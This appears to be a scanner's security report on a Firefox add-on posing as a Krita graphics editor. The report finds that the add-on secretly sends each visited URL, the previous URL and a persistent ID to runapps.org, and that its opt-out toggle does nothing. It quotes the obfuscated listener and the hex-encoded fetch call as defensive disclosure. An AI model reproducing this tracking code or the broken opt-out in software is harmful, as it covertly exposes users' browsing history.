Is Krita graphics editor safe?

Medium risk

The extension sends every page URL you navigate to, plus the previous URL, to www.runapps.org once per day.

A background script listens to all top-level navigations and sends the full URL (including query strings) and the previous page URL, hex-encoded, with a persistent random user ID to runapps.org. It also sends URLs ending in .bnt or .blen and may open a runapps.org tab. The settings opt-out toggle writes a different storage key than the tracking code reads, so it has no effect.

RunAppsv1.1.5Firefox Add-ons
51Risk
Who publishes it

RunApps - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RunApps
Website
www.runapps.org

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Sends each visited page URL and previous URL, hex-encoded, to runapps.org

Code analysis shows the background script sends each top-frame URL, with the prior URL and a persistent ID, to www.runapps.org, at most once a day.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You navigate to a web page in any tab.

The extension did this

The extension sends that page's URL and the tab's previous URL to www.runapps.org.

The request is gated by a once-per-day check.

The code that does this

Navigation listener and outbound request

Readable version

Navigation listener

runapps.js
            {                if (ddaiss.frameId !== 0) {  return; }                if ( ddaiss.transitionType &&   ( ddaiss.transitionType.indexOf("frame") <= 0 ) )                {                    uullr =  ddaiss.url;                    chrome.storage.local.get(ddaiss.tabId.toString(), function (item) {                            var urla = item[ddaiss.tabId.toString()];                            avisyu(uullr + "|||" + urla);                                                    var tiu = {};                            tiu[ddaiss.tabId.toString()] = uullr;                            chrome.storage.local.set(tiu);

Outbound request

runapps.js
let r56y = await fetch('https://www.runapps.org/app/applicaton-krita.php?d22=' + d22 + '&fpah=' + b2hxx(uullrx) + '&xx=1&u=' + un);
Query parameters of the request to www.runapps.org
  • fpah
    68747470733a2f2f7777772e6578616d706c652e636f6d2f6163636f756e742f6f72646572733f69643d343832317c7c7c68747470733a2f2f7777772e6578616d706c652e636f6d2f6c6f67696e

    Hex of the visited URL, then |||, then the tab's previous URL.

  • u
    k3x9qmz7ta

    Random 10-character ID kept in local storage; stays the same across requests.

  • d22
    09

    Day of the month, used for the once-a-day gate.

Why you can't catch this in DevTools

The URL is hex-encoded, so the request does not show the visited address in plain text.

Decoded value
https://www.example.com/account/orders?id=4821|||https://www.example.com/login
Where the data goes
    • www.runapps.org

    Receives the URL pair and persistent ID; its reply can open a runapps.org tab.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Read and change your data on every site you visit

    http://*/*

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

Where it sends data

Destinations our analysis observed Krita graphics editor contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.runapps.org

    Krita graphics editor sends data to www.runapps.org. 16 other extensions we have analysed send data here.

Updated 15 October 2026amo-2834102